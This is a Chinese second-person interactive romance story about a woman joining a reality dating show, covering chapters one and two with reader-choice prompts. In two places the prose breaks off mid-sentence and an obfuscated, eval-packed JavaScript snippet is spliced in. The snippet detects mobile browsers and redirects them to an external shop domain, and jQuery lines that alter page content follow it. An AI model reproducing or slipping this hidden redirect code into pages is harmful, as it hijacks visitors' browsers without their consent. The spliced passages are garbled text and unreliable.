《如果你是恋综女嘉宾》
1. 第一章
你叫谢知意,毕业后,入职外企成为一名白领,过着忙碌且充实的生活。
但日复一日的枯燥工作,让你越来越想尝试另一种人生。
好朋友是《很高兴认识你》节目组负责嘉宾招募的制片人。
这一季节目的主办地刚好在你居住的城市,于是朋友向你抛来橄榄枝。
你抱着想要好好谈一次恋爱的想法,同意了邀约。
于是朋友将你的个人简历内推给节目组。
顺利通过面试后,节目组给你发来了一份个人调查报告,请填写你的情况。
【年龄】
18—22
23—26
27—30
30+
【身高】
165及以下
166—170
170+
【喜欢哪种类型男生】
A阳光开朗
B成熟稳重
C温柔体贴
D清冷禁欲
E傲娇腹黑
【感情经历】
A空窗2年以上
B空窗1—2年
C刚分手
D没有恋爱经历
过了一个月,朋友发来祝贺,恭喜你成功入选《很高兴认识你》女嘉宾行列。
收到心动小屋的入住通知后,循着导航,你按节目组给的地点,来到城北的一座现代别墅。
正值春末夏初,天高云淡。
小屋附近青翠清幽,屋门前一路鹅卵石,庭院榭水高低起伏,走进院内,仿佛远离了所有喧嚣。
你拉着行李走到门口,房门虚掩,轻轻拉开门缝,玄关处摆了几双颜色不一的拖鞋。
斟酌之下,你弯腰换了一双绿色拖鞋进屋。
屋里开了空调,浑身的燥热一扫而光。
小屋整体风格走简约风。
入目即是宽敞明净的客厅,玄关外的左手边是开放式厨房,再往里是旋转式楼梯延伸,拐角处摆了几株刚发芽的绿植。
客厅里,浅灰色沙发上坐了一个人,他背对门口,端坐在沙发上,只看得到乌黑的后脑勺和微微侧过的脸颊。
听到动静后,男生转过脸,见有人立在走廊外,他忙起身迎接。
这时,你才看清他的样子。
男生个子高挑,干净蓬松的碎短发,白色衬衫搭黑色阔腿裤,袖口随意挽至小臂。
简约的穿衣风格和他的长相很匹配,有一种清爽的少年感。
见你愣着,他走过来,清冽的木质香也随之而来,淡淡的,闻起来让人觉得心情很好。
男生打了声招呼,说他叫周越。
简单利落的自我介绍,衬得他距离感很强。
“你好,我叫谢知意。”你友善地朝他笑笑。
周越点点头,随后接过你手中的行李,低头询问要不要帮你提上楼。
你觉得等大家聚齐再一起搬比较好,便谢绝了他。
你坐在沙发上,看着周越,一时无话,眼睛乱瞟之际,注意到他的拖鞋和自己的颜色一样,想了想,问道:“你什么时候到的?”
“刚到,”周越倒了杯水,朝你的方向推了推,语气是说不出的疏离与客气,“你喝水吗?”
你伸手接过,指尖不小心触碰到他的手指,你不着痕迹地往后收了一寸。
周越也立即收回手,平放在膝盖上,示意你看身后的小屋入住规则:
【心动小屋条约】
1.每天晚上要回到小屋。
2.第一天不能公开年龄和职业。
3.每晚给一位异性发送消息,但不能在信息内容中直接体现出本人。
4.入住期间不能共享个人联系方式。
5.居住时限一个月,期间尽情暧昧,最后一天告白。
交换名字后,便不能再透露其他信息,小屋内只有你们二人,一时寂静。
和你的局促相比,周越反倒自在。
他靠着沙发背,望向门口,好像若有所思,随后他端起水杯抿了一口水,眉眼微微松散。
周越话很少,你也不习惯和陌生人过多交谈。
你也下意识地拿起水杯,刚碰到唇边,突然觉得和他一同喝水是不是太过刻意。
于是你将水杯放了回去,与茶几触碰的瞬间,发出“当啷”一声,清脆的声响划破寂静。
周越明显听到了,见你讪讪地放下杯子,他轻笑了一声:“不喝了吗?”
你心中窘迫,心想道,我是水牛吗,要一直喝水。
这么想着,身后的门突然被敲响。
周越回头看了一眼,起身去开。
你紧绷的身体终于松懈下来。
门外,比人先到的是一个蓝色行李箱,随后一个高挑的身影将箱子推了进来。
是位妆容精致的女生,一头黑色的内扣短发,身高一米七左右,穿粉条纹衬衫与灰烟管裤,举手投足间散发着优雅干练的气质。
她将衣袖挽至手臂,朝你和周越大方地笑了笑。
“我叫何君子,单立人一个可,君子之交淡如水的君子,你们叫我君子就行。”
何君子爽利地将行李箱放至一旁后,坐在你身边,问道:“只有你们两个吗?”
周越点头称是,随后起身帮何君子倒了杯水,见你杯中已空,便又用水添满。
何君子健谈,分寸拿捏得极好,屋内氛围轻松自然起来。
互相交换名字后,何君子打量了一圈室内,问道:“我发现小屋设计感很好诶,你们参观过了吗?”
你说还没有,刚想询问她要不要一起去看看。
这时,门外又传来一阵声响。
你们起身看过去。
一男一女先后进屋,男生帮女生把行李箱提进门,在剩余的蓝色和粉色的男式拖鞋里,男生毫不犹豫地挑走了蓝色那双。
进屋后,男生向屋内已经到的三人微笑示意,一一握手。
他叫霍远,五官深邃,头发打理利落,穿一身深色西装。
他正在弯腰换鞋,你注意到他腕上的手表光泽格外鲜亮,看起来似乎价格不菲。
站在霍远身后的女生,披着长卷发,穿碎花连衣裙,眼睛又大又亮,笑起来很可爱。
她的手里拎着几份伴手礼,说是家乡特产,特地带过来给大家尝尝。
说着,她把礼盒放在了茶几上,轻轻揭开盖子,托盘中央呈花瓣状叠着几块点心,外形精致小巧,透过酥皮能看到若隐若现的内馅,瞬间吸引了众人的目光。
坐在沙发另一侧的霍远手上好像沾了什么东西。
唐甜注意到,立马抽了张纸递给他。
霍远将自己的手指清理完成后,抬头望向对面,嗓音沉稳:“你好像还没自我介绍?”
唐甜啊了一声,轻轻拍了拍自己的脑袋,有些懊恼地解释:“刚才忘自我介绍了,我叫唐甜,唐朝的唐,甜心的甜。”
唐甜的声音又软又糯,听得人心里暖呼呼的,你不禁多看她了几眼,余光瞥到霍远也在注视着她。
你忽然想起他们刚才是一起来的,大概路上刚好碰到,多说过几句话。
唐甜看着桌上被晾了一半的点心,催促你们快尝尝。
但你们都没行动。
大概觉得大家初来乍到,比较局促,于是唐甜先将一块淡黄色的糕点递给她旁边的霍远,眼神不停地示意他快吃。
霍远接收到暗示,非常绅士地接过她手中的点心,尝了一口。
既然有了人开头,其他人便不再客套。
你也捏了一块吃着,点心外酥里嫩,香甜滑口,味道不错。
你们随意闲聊着。
人如其名,唐甜的声音和名字一样甜,再加上何君子是个捧场王,各种话题拈手而来。
气氛一下子热络起来。比起刚才只有你和周越两个人的时候,热闹多了。
想到这,你不禁抬头望向对面的周越,在大家都相谈甚欢的时候,好像只有周越游离在你们之外。
“叮咚——”门铃响的第三次。
所有人不约而同地向门口看去。
周越的位置离门最近,这门铃像根绳子,一下子将他的思绪拉了回来。
周越起身过去,拧开把手。
门外是最后一位男嘉宾,手中的行李箱比所有人的都要大。
你侧头打量着这位男嘉宾。
他的双眼大而明亮,身穿白色T恤和水洗蓝牛仔裤,颜色搭配虽单调,但给人的感觉很亲和。
男生探进头来,发现人不少,再一数,发现自己是最后一个,他略带歉意躬着腰,向大家打声招呼。
人终于到齐,等男生落座后,你们开启新一轮的自我介绍。
轮到你的时候,你清了清嗓子:“我叫谢知意。”
最后到的男嘉宾眼睛一亮,不可思议道:“好巧,我叫西洲,潭西洲。”
其他人面面相觑,不明白他这话的意思。
唐甜扑哧一声笑了:“你们没听过吗?”
众人依旧面露不解。
潭西洲并不急着解释,挑挑眉让她继续说。
唐甜故意卖了个关子,慢悠悠地念出一句诗:“南风知我意,吹梦到西洲。”
说完,她意味深长地看着你和潭西洲,调侃道:“一个知意,一个西洲,说不定是节目组看名字有缘,所以才邀请了你们两个。”
你感到有些意外,一方面觉得确实蛮有缘,另一方面没当真,觉得只是凑巧。
霍远有意缓和气氛,一唱一和的,也跟了句玩笑:“还有更有缘的事,我叫南风。”
众人:“……”
刚进屋还未将人认全的潭西洲一头雾水,半信半疑地问了句真的吗。
唐甜原本翘着的嘴角变得松垮垮的,语速听起来有些快:“少来,你刚才明明说你叫霍远。”
“哦,曾用名。”霍远嘴贫起来,和他满身上下的贵气一点儿不沾边。
这下潭西洲更糊涂了。
话题始终围绕着你和潭西洲的名字,而自从潭西洲进门,你发现能言善辩的何君子变得异常安静。
还有周越,他表现一直淡淡的,看起来似乎对谁都提不起兴趣。
玩笑开完了,人也认全了,一帮人终于想起搁置在一旁的行李。
男生们帮女生把行李箱提上楼。
你走在人群最后,潭西洲路过的时候,顺其自然地接过你的行李,说起自己的名字,担心你不信似的,特地强调了一遍:“我真的叫西洲。”
不知道为什么,你觉得有点想笑,却还是保持礼貌,说了声好,担心这种反应太过冷淡,你也补充了句:“我也真的叫知意。”
不知道这句话戳中了他的什么笑点,他似乎有点想笑,但又忍住了。
二楼是卧室,共四个双人房间,男女生各两间。
女生房间是温馨的粉色调,两张床中央立着纯白欧式床头柜,自动升降的写字台挨着窗户,粉色窗帘拉向两侧。
女生房的隔壁是化妆间和换衣间,靠墙放了四张软塌塌的矮人沙发,看着就想趴进去躺躺。
到了该选房间的时候,女生们选择用剪刀石头布来分配房间。
最后何君子胜出,选择自己住,你和唐甜成了室友。
男生那边也很快确定完毕,周越独自住,霍远和潭西洲住一间。
收拾好东西后,窗外夜幕悄然降临,你接到PD信息,节目组提醒所有人下楼。
跟着人群走到一半,前面突然停了下来。
你抬头望去,只见大家围着周越,好像在看什么东西。
周越从墙壁上揭下便利贴,单手展开,他扫了一遍,沉声念道:“小屋入住者们,请查收一份被忽略的小惊喜。”
“未来几天的晚餐自行准备,第一周按穿同色拖鞋的男女生分组制作,之后将由嘉宾随意安排,祝大家在小屋生活愉快。”
最后一个字节的尾音落下,大家纷纷低头确认拖鞋的颜色,开始寻找自己的搭档。
拖鞋分男女款,颜色简洁,各有三种,粉、蓝、绿色。
你盯着自己的绿色拖鞋,回忆刚才进屋的情形。
突然想到了什么,你猛地抬头,穿过人声,与周越四目相对,随后一同往下面瞧。
周越也穿绿色拖鞋。
现场一阵慌乱,待所有人都找到了穿同色拖鞋的嘉宾后,节目组宣布结果。
你和周越一组。
何君子和潭西洲一组。
唐甜和霍远一组。
或许,有些缘分,是冥冥注定的。
因为六位嘉宾的工作不同,为了照顾到每个人的时间,大家商量过后,今天的晚餐先由何君子和潭西洲负责。
厨房的冰箱里有节目组提前准备好的蔬菜和水果。
何君子利落地套上围裙,有条不紊地将刀、砧板、锅碗瓢盆一一摆好,挽起袖子准备大干一场。
潭西洲也戴好围裙,拧开水龙头冲了冲手,扭头看着何君子熟练的样子,笑道:“看来君子的厨艺不俗,今晚我们有口福了。”
何君子握着菜刀,耸耸肩,不置可否:“我就一绣花枕头,你厨艺怎么样?”
……
后面的话没有听清,不知道该干什么的你们围在厨房,显得有些碍事。
唐甜向你们使了使眼色,提议去参观小屋。
其余人没有异议,你们走出餐厅。
从一楼走到二楼,小屋内陈设齐全,健身房、影音室、书房,甚至还有露天天台,架着一台单人秋千。
从上往外看,不远处还有一座小花园,花草茂盛。
欣赏完夜景,你们依次从天台下来,透过玻璃窗,隐约可见厨房里两道忙碌的身影。
你停在楼梯间,悄悄问身后的人:“那个…周越?”
身后的脚步停下。
你转后身,抬头看向他:“周越,你会做饭吗?”
根据刚才的安排,明天轮到你们掌勺。
你平日里很少下厨,想先看看合作对象的功底如何。
如果你们俩的厨艺都属于半瓶水晃荡的话,那明天就需要花点功夫研究菜谱了。
周越双手插兜,往下走了一步,和你站在同一台阶,那股熟悉的木质香侵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372343|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入鼻尖。
“还行。”他低着头看你,眼底情绪未明,却在漆黑的夜里,显得很亮。
这一瞬间,你的心跳快了一些。
“你呢?”他又问。
周越说的还行,意思应该就是能做会做。
你放下心来,用拇指和食指比了个手势,说只会做一点点。
实际上就是不怎么会。
听到你的回答,周越哦了声,转身继续下楼,黑暗中,他提醒你注意脚下。
……
参观结束后,你们陆续回到厨房,餐桌上摆满佳肴,桌旁却只有何君子一人。
你们问潭西洲呢。
何君子解释说,做菜的时候自己不小心切到手指,潭西洲去拿医药箱了。
一听到受伤,你们吓了一跳,急忙围着她查看伤势。
正说着,潭西洲抱着医药箱匆匆赶来,他找到创可贴,撕开包装,刚要贴上去,突然被旁边的人制止。
周越走上前,顺着光线,看了看伤口深度,随后从医药箱翻出碘伏和棉签,递给潭西洲:“先拿这个消毒。”
这时,你发现周越已经换上了居家服,身上的味道很好闻,让人有莫名的安定感。
潭西洲感激地看了他一眼,好在何君子伤口不深,可他脸上依旧是掩饰不住的内疚:“抱歉啊。”
“没事儿,是我想切个花样。”何君子朝潭西洲灵活地弯了弯手指,表示自己没大碍,甚至还开了个玩笑,“不过,你应该庆幸菜已经做完了,不然够你忙的。”
循着何君子的视线看过去,餐桌上菜肴丰盛,色泽鲜亮,虽然都是家常菜,却丝毫不输私家菜坊。
只是六把椅子空空荡荡,一群人围着餐桌没挪脚,不知道坐哪儿合适。
霍远扫视一圈,拉开离自己最近的椅子,唐甜紧跟他旁边,其他人纷纷落座。
座位如下:
何君子你周越
桌子
潭西洲唐甜霍远
忙碌一天,大家都有些饿了,不再客套,纷纷动筷,饭刚入口,大家便赞不绝口。
尤其是桌上的糖醋排骨,甜而不腻,受到大家一致好评。
可惜离你的位置有些远,想吃,却一直没夹到,又不太好意思麻烦别人,只能一边心不在焉地夹着面前的菜,一边暗暗地往糖醋排骨那边瞧。
正当你鼓起勇气想出声时,周越轻轻凑过来,说他喜欢中间的那道鱼羹,他能不能尝一下。
这道鱼羹就在你眼前,可是不合你的胃口,你一口没动过,于是想也不想便同意了。
周越迅速将鱼羹端走,叮叮当当,盘子一起一落,没有人注意。
你埋头吃饭,再抬头的时候,发现原来放着鱼羹的位置,居然被换成了糖醋排骨。
你后知后觉地侧目看了眼周越,他拿起筷子,低头吃饭,神色平淡,好像什么事都没发生过一样。
你晃了晃神,可能是顺手吧,也可能他确实喜欢吃鱼。
既然菜来了,你心想,不管三七二十一,先尝尝再说。
见你对这道糖醋排骨情有独钟,坐在左边的潭西洲突然问了句:“你喜欢这个?好吃吗?”
你连连点头:“好吃,谁做的?”
“西洲做的,”何君子也夹了一块排骨到自己碗里,毫不吝啬地夸道,“没想到他厨艺这么好,原来是我班门弄斧了。”
二人一起做了顿饭,似乎比其他人更熟了些,开起玩笑也无所顾忌。
潭西洲摆摆手:“诶,我可不揽功,最先空盘的不就是你的拿手菜吗。”
突然被夸,何君子的脸上浮了一层薄薄的红晕,口无遮拦道:“之前在国外读书,只能自己下厨……”
刚说到兴头上,她突然噤声,眼睛骨碌碌转:“这个……能说吗?”
小屋的规则,在明晚揭晓职业年龄前,嘉宾不可以透露自己的相关消息。
“什么?你说什么?”唐甜佯装出一副耳背的样子,腾出一只手掏了掏耳朵,“我们什么都没听到!”
一群人被逗笑。
潭西洲也忍俊不禁,适时地转移了话题:“知意?可以帮我盛一碗鱼羹吗?”
鱼羹刚被周越挪走,离潭西洲的座位有些远。
你点头说好,接过他的碗,拿起汤匙,却发现鱼羹压根没有被动过的迹象。
你诧异地将视线转向周越。
周越微微抬眼,正对上你疑惑的眼睛:“怎么了?”
“哦,西洲想喝鱼羹,我帮他舀一碗。”你回头看了眼潭西洲,发现他也在往这边看,还向周越打了声招呼。
周越垂眸打量着你手中拿着的碗,又抬头在你和潭西洲之间来回晙巡。
沉吟半响,他长臂伸展,越过你,有条不紊地连汤带盅一起推了过去。
“我吃好了,西洲喜欢的话,可以放过去。”
眼睁睁地看着这道鱼羹,从你这里端过去,又移回来,你一时想不通:“周越你不吃?”
“突然想起来,我不太习惯吃海鲜。”周越回答得冠冕堂皇。
说完,他叉走一块千层蛋糕细细品尝,之后便起身,说自己吃饱了。
明明他刚才拿两道菜换了位置,说是喜欢那道鱼羹,为什么现在又不要了?
你撇撇嘴,觉得这个人真是奇怪极了。
晚餐接近尾声,客厅钟表的时针指向十点钟的方向,收拾好厨房之后,六个人上楼准备休息。
但你们女生仍意犹未尽,卸妆结束后,留在化妆间的沙发上聊天。
不多时,掌心震动,节目组发来手机短信。“欢迎来到小屋,请你选择一位异性发送心动短信。”
经过一天相处,【你决定发给】
A周越
B霍远
C潭西洲
【短信内容】
请自由发挥
「PD提示:可以在短评区进行选择与留言哦,这将决定后续的故事走向。」
短信发送结束后,刚才还其乐融融的屋内,突然陷入了寂静。
你心不在焉地刷着手机,不知道等了多久,感觉半个身子都坐麻了,一声震动,你的脊背瞬间挺直。
何君子按亮屏幕,蓝光印在饱满的额头上,她盯着手机,来回看了好几遍,唇边有隐隐的笑意。
何君子刚打算放回去,接着,又是同样的声音,她眼睛一亮,有些惊喜地摁键。
随后是漫长的等待。
另一边的唐甜,正郁闷地拿着手机翻来覆去,不停地摁亮又熄灭。
“嗡——”
你猛地抬头,正好撞上唐甜的视线,她的脸上露出失望的表情。
你们不约而同地向何君子看去,她皱着眉,不解地看完最后一条消息,随后陷入沉思。
今晚你和唐甜都没有收到信息。
你握紧手机,没有亮起过的黑色屏幕倒映着一张藏满疑惑的脸。
第一天就这样结束了,你在小屋里遇到心动的人了吗?明天又会有什么样的故事。
-
PD消息:心动短信已送达,明天将进行个人信息(年龄职业)揭秘环节喔~
2. 第二章
第二天起床后,你迅速化好妆,下楼,脑海中不停地闪过昨天的画面,心情莫名有些低落。
餐厅传来阵阵声响,好像有人在煎东西。
循着香味,你走进厨房。
清晨的天气很好,温温柔柔的阳光从整片落地窗外钻进来。
潭西洲正在颠着锅做水煎饺,看到你之后,他弯起嘴角道了一声早。
餐桌旁,唐甜举着一片吐司细嚼慢咽,霍远坐在她对面,餐盘里的食物和唐甜的一模一样。
背对着你的唐甜咬完最后一口,满足地拍拍手,准备起身,回头看到你,她笑嘻嘻道:“Hello,知意。”
说完,她拎起旁边的手包,朝你们道别:“我先上班去啦,拜拜。”
而后面,霍远也迅速吃完,一把捞起西装,快走几步赶上她:“你去哪,我送你一程。”
……
“砰”地一声,门被关上。
餐厅里只剩下你和潭西洲。
刚起床,你习惯先喝水,于是拿了自己的杯子,去岛台接水。
潭西洲正在倒豆浆,看你过来,他身形一动,挪了空位给你。
你感觉到他好像有些欲言又止,眼神不停地瞟往你的方向。
潭西洲将做好的蒸饺分装在盘子里,又倒了杯豆浆。
他把早餐放到桌子上,又帮你拉开椅子:“顺手做了一份你的,尝尝看?”
诶?你有些惊喜地看了一眼餐桌,又看了一眼潭西洲,后者还在等你入座。
有的吃就不错了,还挑什么。
你开心地道声谢,坐回餐桌,端起杯子,张嘴就喝。
“诶,小心烫。”潭西洲喊住你。
但已经迟了,你喝得太快,已经烫到了舌头,麻意窜到头顶,刚睡醒还带着困意的你,这下彻底精神了。
潭西洲忙推过来一颗薄荷糖和一杯凉白开。
用凉白开漱完口,你撕开薄荷糖的包装纸,塞进嘴里,瞬间缓解了舌尖的燥意。
看到你的面色好了一点,潭西洲脸上依然透着关切:“没事吧?”
这个慌乱的早晨,你们的对话,好像除了“谢谢”,就是“没事”。
想到这里,你有些无奈,但还是继续道:“……没事。”
你伸手夹走一只蒸饺,有了前车之鉴,这次你学乖了,隔着热气吹了吹,才小心翼翼咬下去。
潭西洲的火候把握得很好,外皮又薄又软,内陷鲜香。
一旁的豆浆已晾凉,浓醇味稠,甜度适中。
昨晚已经知道潭西洲做菜的手艺很好了,没想到再简单的早餐也能让他做出花样。
你喝完最后一口豆浆,开口问道:“你喜欢,中式早餐?”
这一顿早餐,和刚才唐甜和霍远吃的牛奶吐司,完全是两个风格。
“是啊,从小吃习惯了,你不喜欢?”潭西洲停下收拾碗筷的手。
你说:“都不错,各有风格。”
收拾完餐桌,你拾掇行装准备去上班。
潭西洲也打算走,他站在旋梯旁,问你去哪,他可以送你。
你想起昨晚潭西洲并没有将信息发给自己,可今天早晨又是做早餐,又是送你上班,怎么想都觉得有些奇怪。
但小屋离上班的地方确实有些远,想了想,你同意了。
出门的时候,何君子刚从屋外回来。
她穿修身的蓝色运动装,身线玲珑有致,发丝沁着汗,好像刚晨跑完回来。
你低头看了看自己身上单调的职业装,心里有种说不上来的感觉。
何君子诧异地看着站在玄关的你们:“你们要去上班?”语气有些失落。
“是啊,”潭西洲说道,又指了指厨房,“你手受伤,我给你留了早餐,在锅里,热一下就行。”
“谢谢!”何君子的眼神一亮。
看着这一幕,你的左右脑开始互搏。
一会儿想原来潭西洲不止做了你一个人的早餐,他不会是个海王吧。
一会儿又想,如果他只是单纯为了照顾何君子的伤呢,说明他非常细心体贴。
就这么乱七八糟地想着。
出了门,一辆黑车停在大树下,车灯闪了两下,潭西洲径直走过去,帮你拉开副驾的车门。
车上有好闻的香氛,像花香,很温馨。
等你系好安全带,潭西洲细心地打开空调,将方向盘一转,缓缓驶出小屋所在的别墅区。
别墅区前面是十字路口,等红绿灯的时候,你忍不住打了个哈欠。
潭西洲侧头瞟了你一眼:“昨天没睡好?”
“是有点,”你揉了揉眼睛,“第一次来小屋,有点认床。你今天几点起的?”
“大概七点。”
“这么早?”
潭西洲摇摇头:“周越更早,我起床的时候,他就出门上班了。”
你垂眸愣了一下,想起今早确实没见到他:“哦,是吗,那他上班还挺早的。”
潭西洲没说话,双手紧紧握着方向盘,过了一会,问道:“今天是你和周越做饭?”
你很轻地点点头。
绿灯亮了,潭西洲启动汽车,打着方向盘向右转弯,车开得很稳。
“需要帮忙吗?”潭西洲随口问道。
他的话有些耐人寻味。
厨艺这事上,你还真拿不准,只不过不清楚他是真的想帮忙,还是客套一下。
但自从昨晚过后,你再也不敢自作多情了,于是你谨慎道:“如果有必要的话,我一定向你求助。”
清晨的阳光反射在明亮的后视镜上,空气有些沉闷。
你感觉到他几次张口,想说什么,最后却还是什么都没说。
“潭西洲?”
“嗯?”他侧过头。
“你有什么忌口吗?比如不吃辣?不吃香菜?还是其它?”想到今天的晚餐,你还没决定做什么,先问问口味,不至于踩雷。
潭西洲回答得很快:“没有,什么都可以,甚至无辣不欢。”
这样的回答让你有些意外,你认识的大部分男生都不吃辣,更何况是他这样看起来有些温吞的人。
但回想起昨天,潭西洲做的晚饭,大部分都很清爽。
你有些疑惑:“可你昨天并没有做很辣的菜?”
“担心有人不喜欢,所以没做,”潭西洲不紧不慢地解释,问了句,“你能吃辣吗?”
你点点头:“还可以,只能吃一点。”
说起做菜,潭西洲的话格外多,整个人像一只打开的贝壳。
斟酌半晌,你半猜半疑道:“潭西洲,你不会……是个厨师吧?”
这句话不知道又戳中他的哪个笑点,潭西洲笑得眼尾都忍不住眯了起来:“行啊,以后我开了餐馆一定请你过来。”
你看向他的侧脸:“哪家餐厅能这么幸运,有这么时髦的厨师老板,生意一定很好。”
“时髦?”他奇怪道,“怎么讲?”
“这个,”你隔空指了指他的耳朵,“很潮啊。”
潭西洲的耳垂中央有一条极小的细缝,像是耳洞,却没有任何耳饰,如果不仔细看,根本不会发现。
潭西洲抬手摸了摸自己的耳垂,想起什么似的,眼神飘向很远:“啊,是这个啊…”
他语速很慢,却没有继续往下说的意思,车内的空气也好像变冷了一度。
潭西洲和人聊天时很少冷场。
这是第一次,你察觉到了他并没有表面上那样温和,有一丝尖锐的东西,他藏得很深。
车堪堪停下,公司的大厦近在眼前。
你回过神来,不好意思追问下去,忙松开安全带。
推门下车前,潭西洲突然喊住你。
你转身看他,以为他想继续刚才的话题。
结果,潭西洲不着痕迹地收回视线,手搭在方向盘上,一下一下地敲着:“以后不用那么见外,叫我西洲就好。”
这一路,你一直连名带姓叫他,确实有些生分,于是笑了笑:“好,谢谢你送我上班。”
顿了顿,你又添了一句:“拜拜,西洲。”
“好,晚上见。”
目送你进了公司大楼,潭西洲调转车头,往反方向驶去。
-
下午六点,准时下班。
你乘车回到小屋,打算先上二楼换身衣服再准备晚餐,穿过玄关和走廊的时候,余光外突然闪过一抹身影。
你脚步倏地一顿,接着往后退了几步,缓缓侧过头,往厨房看去。
琉璃台上架了口锅,咕噜咕噜冒着气。
你蹑手蹑脚走进厨房。
周越戴着绿色围裙,卷起袖子,低着头在砧板上切菜,似乎还没意识到有人正在靠近。
“在做什么?”你好奇地往岛台前凑了凑,蔬菜整整齐齐地码在盘子里。
听到说话的声音,周越的手顿在半空。
他撩起眼皮,发现是你,周越笑了笑,放下刀,抽出一张纸,擦擦手:“随便做了一些,今天下班早,所以我先回来准备。”
今晚是你和周越做饭,忙完工作后,你提前下了班,马不停蹄地赶回来,意外的是,周越比你更早到。
你不禁开始猜测,什么工作啊,上班那么早,下班也可以这么早。
上楼换好衣服,你返回厨房,从挂钩处取围裙给自己套上,随手在背后系了个结。
周越的汤炖得很香。
你忍不住揭开盖子,海鲜的鲜香争先恐后地往脸上跑,热腾腾的。
既然合作伙伴这么厉害,你也不能拉后腿。
净过手后,你从手机里翻出菜谱,按照步骤,边处理食材,边预想后面的操作。
吃饭容易做饭难,平时工作繁忙,少有时间做菜,切菜的时候怎么摆弄都不顺手。
旁边的周越时不时抬头看一眼,后来终于没忍住,微不可见地笑了声:“再这样下去,我担心你会成为小屋第二个受伤的人。”
说罢,他接过你手中的刀:“我来吧,你想做什么?”
太好了,终于有人来帮忙了。
心里这么想着,但是你还是谦让了一下:“抱歉哈,厨艺实在不精湛,真是麻烦你了。”
周越切菜的动作不紧不慢,说道:“既然是一起做饭,就不算麻烦。”
周越掌勺后,你在一旁帮忙打下手。
递东西,洗蔬菜,做着做着,目光却落到他的脸上。
大概今天的工作很忙,他的眉目间藏着一丝疲惫,但做菜的时候仍一丝不苟,手起刀落,几个番茄迅速被他切成丁块。
或许是你的目光太过不加掩饰,周越拿手在你眼前晃了晃:“知意?看完了就帮忙煎个鸡蛋。”
你脸一红,低头去找鸡蛋。
锅热后倒油,你在平底锅上打进一个鸡蛋,趁还未成型,你用铲子慢慢把它推成一个正方形,听着锅里滋啦滋啦地响,香味窜进鼻子里。
夏天的夜晚来得迟,夕阳即将落山,余晖钻入客厅的落地窗,光线昏黄,整间屋子浮上点点碎金。
厨房静得只听得到刀切砧板的声音,周越专注起来不说话的时候,让你感受到一种莫名的距离感。
你们完全可以说点什么,但谁都没说,你是慢热的人,周越看起来也是。
这段时间相处下来,你总觉得自己没办法走进他,感觉总和他隔着一层纱,你能模糊地看见他,却没办法靠近他。
这样相处的好处是,当小屋门被推开的时候,周越只剩最后一道菜没做。
未见其人先闻其声,温和而轻快的声音从门外传来:“谁啊,这么早回来?”
你和周越停下手中的活,不约而同地抬头看去。
灰色大理石墙边探出一颗脑袋,眼睛亮晶晶的,直到看见厨房里的人,他的笑容僵在唇边。
潭西洲单手拎购物袋,从墙后现身,轻咳了一声:“周越你也回来得这么早。”
随后他把购物袋放到桌子上,一手撑着椅子,看着你问道:“需要我帮忙吗?”
周越低着头做饭,你刚要回答,就听他在一旁淡淡地说:“马上最后一道了。”
和周越接触之后,你发现他表面上看起来对什么都无所谓,但其实有很强烈的边界感,好像一旦确定自己的领地,就非常介意别人的踏入。
潭西洲没强行帮忙,他拿出一个牛皮纸袋,在半空中晃了晃:“我给大家买了水蜜桃,还有其他一些水果。”
他说这话的时候,眼睛却是瞧着你的。
你突然想起,早上去公司的路上,和潭西洲提过一嘴,说附近有一家水果店的桃子很好吃。
没想到他居然记得这么清楚。
你哇了一声,直接绕过周越,跑了出去,想伸手去取,结果发现手里还握着葱,被潭西洲一番取笑。
见你兴冲冲地跑过去,周越停下做菜的动作,问了句:“水蜜桃?”
潭西洲打开冰箱,将牛皮纸袋塞到上层:“是啊,路过看到,顺手买的。”
潭西洲将水果放好,便离开了厨房,不再打扰你们。
待潭西洲走后,周越冷不丁发问:“你喜欢吃桃子?”
……一口气没提上来,像被什么堵了回去,你咳嗽了好几声。
周越抽了张纸巾递给你,好笑地看着你:“说中了?”
他眼中带着难得的笑意,连说话的语气都稍稍上扬。
“你怎么知道?”你接过纸巾,擦了擦眼角咳出的泪花。
周越的目光在你的脸上停留了片刻:“猜的。”
他的语气轻缓,不急不重,似乎只是在聊一件极其寻常的事。
说完,他便不再执着在这个话题,转身砰砰砰地在砧板上切菜,握刀的手修长白净,动作起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372344|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,格外有掌控力,每一下都无比精准。
“诶,有没有人和你说过,你的手很漂亮?”你撑着岛台,专心地看他切菜,一不留神就把内心话说了出来。
切菜的动作停住,周越放下刀,抬起右手,来回翻看了几遍,诚实地摇头:“这手不是很普通吗。”
你立马伸出自己的手和他对比:“给你看看什么叫普通。”
听到这里,周越低头淡笑了一下:“手好看没用啊,得饭好吃。”
至少看着赏心悦目啊,但你和周越没那么熟,这句话没好意思说出口。
……
小屋的其它人陆续返回,当周越盛出最后一道菜的时候,大家已经围坐在餐桌旁准备开饭了。
霍远还没有回来,唐甜预留出一部分饭菜,帮他在锅里热着。
看她在餐桌前忙碌,在座的人都心照不宣地交换了一下眼神。
晚饭吃到中途,听到进门的声音,唐甜立刻放下筷子,起身去迎接。
门外是霍远,他说今天加班,已经吃过晚饭,随后他松了松领带,拎着公文包上楼换衣服。
唐甜有些失落地返回餐厅,扒拉了几口饭,就说自己吃饱了,其余人也纷纷撂筷。
厨房里留下你和周越收拾碗筷。
